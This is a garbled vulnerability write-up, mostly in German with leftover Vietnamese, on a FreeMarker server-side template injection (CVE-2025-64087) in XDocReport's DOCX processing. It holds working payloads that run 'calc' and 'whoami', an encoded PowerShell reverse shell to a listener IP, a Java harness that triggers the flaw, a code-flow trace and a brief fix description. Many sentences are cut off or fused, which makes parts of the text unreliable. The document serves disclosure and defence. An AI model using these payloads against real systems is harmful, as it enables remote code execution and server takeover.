
CVE-2025-64087 (SSTI)
Überblick über die Schwachstelle
Server-Side Template Injection (SSTI) ist eine Websicherheitslücke, die es Angreifern ermöglicht, schädlichen Code in Vorlagen (Templates) einzuschleusen, die von Content-Management-Systemen (CMS) und Web-Frameworks verwendet werden. Dadurch können entfernte Angriffe durchgeführt, sensible Informationen abgerufen oder Systemeinfälle ausgeführt werden.
SSTI ist eine Variante von Injection-Schwachstellen (wie SQL Injection, XSS usw.), bei der Angreifer die Verwendung von Template-Systemen ausnutzen, um Remote-Code auszuführen. Bei erfolgreicher SSTI-Attacke kann der Angreifer eigenen Code auf dem Server ausführen, was ihm ermöglicht, entfernte Angriffe durchzuführen, wie das Sammeln sensibler Daten, das Ausführen von Systemeinfällen und den Zugriff auf nicht autorisierte Ressourcen.
SSTI-Schwachstellen entstehen häufig durch die Verwendung unsicherer Template-Systeme oder durch fehlende Prüfung und Verarbeitung von Eingabeparametern, bevor diese in Vorlagen eingefügt werden. Im Erfolgsfall kann eine SSTI-Attacke schwerwiegende Folgen haben und der betroffenen Organisation großen Schaden zufügen.
Auswirkungen auf das Geschäft
Die SSTI-Schwachstelle kann verschiedene schwerwiegende Konsequenzen haben, darunter:
Ausführung von Schadcode: Angreifer können diese Schwachstelle nutzen, um Schadcode auf dem Server auszuführen, was Datendiebstahl, illegale Aktionen im System und sogar die vollständige Kontrolle über den Server ermöglicht.
Offenlegung sensibler Informationen: SSTI kann es Angreifern erlauben, Dateien auf dem Server zu lesen, zu ändern oder zu löschen. Wenn diese Dateien sensible Informationen wie Konten und Passwörter enthalten, können Angreifer diese leicht offenlegen.
Droh- oder Phishing-Angriffe auf Benutzer: Angreifer können SSTI verwenden, um Droh- oder Phishing-Angriffe durchzuführen, indem sie den Inhalt der Website ändern oder gefälschte benutzerdefinierte Schaltflächen hinzufügen. Wenn Benutzer auf diese Schaltflächen klicken, können Angreifer ihre Daten stehlen oder Schadsoftware auf ihren Computern installieren.
Eine Server-Side Template Injection (SSTI)-Schwachstelle wurde in OpenSAGRES XDocReport bei der Verarbeitung von DOCX-Vorlagen mit der FreeMarker-Engine gefunden. Unter bestimmten Konfigurationen können präparierte Vorlagen zu Remote Code Execution (RCE) führen.
Die Personalverwaltungswebsite erlaubt Benutzern das Hochladen von .docx-Dokumenten. Während der Verarbeitung verwendet die Anwendung die FreeMarker-Template-Engine (in der Datei FreemarkerTemplateEngine.java), um Inhalte wie ${"freemarker.template.utility.Execute"?new()("whoami")} zu rendern, ohne Kontrollmechanismen oder Filterung der Eingabeinhalte.
Diese Schwachstelle ermöglicht es Angreifern, schädliche Ausdrücke in die .docx-Datei (Vorlage) einzuschleusen, was zu Remote Code Execution (RCE) auf dem Server führt und zur Informationsdiebstahl oder Systemübernahme ausgenutzt werden kann.
fr.opensagres.xdocreport.template.freemarker — XDocReport (Versionen 1.0.0 bis 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java wird der Inhalt der eingegebenen XDoc-Datei nicht überprüft. Der Vorlageninhalt wird direkt geladen und an process(context, writer, template) zur Verarbeitung durch die FreeMarker-Engine übergeben, ohne Sandboxing-Mechanismus oder Einschränkung von Direktiven/Ausdrücken. Folglich kann ein Angreifer eine Vorlage mit schädlichen FreeMarker-Ausdrücken/-Befehlen bereitstellen, was zu Remote Code Execution (RCE) führt..docx-Datei hoch, deren Inhalt aus folgendem Payload besteht:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. Es zeigt sich, dass die Ausführung erfolgreich ist und die Calc-Anwendung geöffnet wird.

3. Analog dazu, um die Informationen des auf dem System laufenden Benutzers mit dem Payload zu erhalten:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx-Datei nach der Verarbeitung durch die Template-Engine Systemdaten zurückgegeben hat.


6. Impact auf RCE erhöhen
- Der Listening-Host ist wsl mit der IP-Adresse `172.26.208.130`

- Ausnutzung mit folgendem Payload:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx-Datei an xdocreport zur Verarbeitungxdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java folgende Inhalte hinzufügenMein Fix erlaubt weiterhin die normale Darstellung von Objekten und Eigenschaften wie ${cuong.name} und blockiert nur die GEFÄHRLICHEN Built-in-Funktionen
${'freemarker.template.utility.Execute'?new()('calc')} - BLOCKIERT durch ALLOWS_NOTHING_RESOLVER${'java.lang.Runtime'?api.getRuntime()} - BLOCKIERT durch setAPIBuiltinEnabled(false)?new() und ?api verwenden, werden blockiertPfad: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
Änderungen:
✅ Import hinzugefügt: java.util.regex.Pattern
✅ Methode validateTemplateSecurity(Reader reader) hinzugefügt — Validiert gefährliche Muster
✅ processNoCache() aktualisiert — Validierung vor der Template-Erstellung hinzugefügt
✅ process(String templateName, …) aktualisiert — Validierung für diese Methode hinzugefügt
Pfad: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
Änderungen:
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder, usw.| Datei | Änderungstyp | Zweck |
|---|---|---|
| FreemarkerTemplateEngine.java | Geändert | SSTI-Schutz hinzugefügt |
| FreemarkerTemplateEngineSecurityTestCase.java | Neue Datei | Testet Validierungslogik |
Im Patch 2.2.0 wurde der Schutzmechanismus aktiviert und SSTI erfolgreich unterbunden
import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
- Zu importierende Bibliothek```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
A Einstiegspunkte (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");
→ die Quelle ist diese DOCX-Datei — wenn die Datei vom Benutzer hochgeladen/geschrieben wird, ist der Inhalt der Vorlage darin (FreeMarker-Syntax) nicht vertrauenswürdige Daten.```
InputStream input = new FileInputStream(docxTemplate);
→ Dateiinhalt lesen, um an XDocReport weiterzuleiten.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
- loadReport(...) wird die DOCX-Datei analysieren (parsen), den Eintrag/das Template in der DOCX suchen und ein IXDocReport erstellen (es initialisiert darin das FreeMarker-Template-Objekt oder behält den Reader für das Template).
- Der Template-Inhalt in der DOCX-Datei befindet sich nun im Report-Objekt (noch nicht ausgeführt).


zipInputStream.getNextEntry() iteriert über jeden Eintrag (jede Datei) innerhalb der ZIP (.docx).
archive = new XDocArchive(...) — falls noch kein Archive vorhanden ist, wird ein Objekt initialisiert, um die Einträge des Dokuments zu organisieren/registrieren.

Zusammenfassung: Dieser Abschnitt entpackt den DOCX-Inhalt in eine interne Struktur (XDocArchive), damit später auf die Unterdateien (document.xml,...) zugegriffen werden kann.```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
| Bước | Hành động | Mục đích |
|---|---|---|
| 1 | DOCX-Datei lesen | Ursprüngliche Berichtsstruktur extrahieren |
| 2 | IXDocReport erstellen | Stellvertreter für die Vorlage |
| 3 | ID zuweisen | Eindeutige Verwaltung |
| 4 | Template-Engine wählen | Ausdrücke verarbeiten (Freemarker/Velocity) |
| 5 | Bei Bedarf cachen | Leistung optimieren |
| 6 | Report zurückgeben | Zum Rendern der Ergebnisdatei verwenden |
Kurz gesagt gibt es keinen SSTI-Prüfmechanismus bei IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);, es werden lediglich die XML-Dateien im docx geladen und ein bereits verarbeitungsbereites IXDocReport report zurückgegeben (z. B. zum Rendern, Zusammenführen von Daten …).
Bei report.process(context, out);
Bei einem genaueren Blick in diese Funktion wird preprocess(...) aufgerufen, das jede XML-Einträge analysiert, den XML-Inhalt parst, ein BufferedDocument erstellt und in einen Writer schreibt (dies ist die bereits vorverarbeitete XML-Version).
```java
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map<String, Object> sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler<?> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}

danach springt es in `processNoCache()` und ruft `getReader()` auf


Die Funktion `getReader()` wird verwendet, um eine Escape-Direktive um die gesamte Vorlage zu legen, um sicherzustellen, dass der Inhalt sicher verarbeitet wird (HTML-Escape, Vermeidung von Injection).

Originalvorlage:```xml
<w:p>
<w:t>Hello ${name}!</w:t>
</w:p>
Nach der Verarbeitung von getReader():```xml [#-- Hello ${name}! [/#escape][#--]]>--]
Es hilft der Freemarker-Engine, sicherer zu lesen:
- XML-Schutz: Escape von Sonderzeichen in XML
- Sichere Verarbeitung: Vermeidung von Fehlern beim Parsen von Freemarker-Templates
dann wird `FMParser` aufgerufen, um die Freemarker-Syntax zu analysieren

schließlich wird in `process()` `environment.process();` aufgerufen und die Daten gelesen```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
👉 Dies ist der wichtigste Schritt — das eigentliche Rendern findet statt.
getTemplate() gibt das geparste Template (AST) zurück.
getRootTreeNode() ist der Wurzelknoten des Syntaxbaums, der vom FMParser beim Parsen erstellt wird.
visit() ist die Kern-API von FreeMarker, die zum Durchlaufen und Rendern jedes Template-Elements verwendet wird und in freemarker.core.Environment definiert ist.
Trifft auf TextBlock → schreibt Text nach out.
Trifft auf Interpolation (z. B. ${user.name}) → sucht im dataModel, holt den Wert, schreibt ihn nach out.
Trifft auf #if, #list, #include, Makro → führt die entsprechende Logik aus.```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }



Es triggert bei entryName `word/document.xml`

als nächstes springt es in die Funktion `accept()`
```java
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```java
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}









Der Ausführungsfluss in der Funktion `visit()` ist wie folgt```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong ${} │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 Kết quả: Server-Side Template Injection (SSTI)
## 🔍 **Zusammenfassung der verwertbaren Schlüsselpunkte**
| Phase | Schicht | Rolle | SSTI-Bezug |
| ----------------------- | --------------------- | --------------------- | ----------------------------- |
| `loadReport()` | `XDocReportRegistry` | Vorlage laden | Keine Eingabekontrolle |
| `getReader()` | `TemplateEngine` | Vorlagendaten lesen | Kann Payload enthalten |
| `FMParser` | `freemarker.core` | Inhalt parsen | `${}`-Variablen werden analysiert |
| `Environment.process()` | `freemarker.core` | Vorlage rendern | `visit()` für jeden Knoten |
| `visit()` / `eval()` | `freemarker.core` | Ausdruck ausführen | **SSTI / RCE-Punkt** |
---
## Dokumentation
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link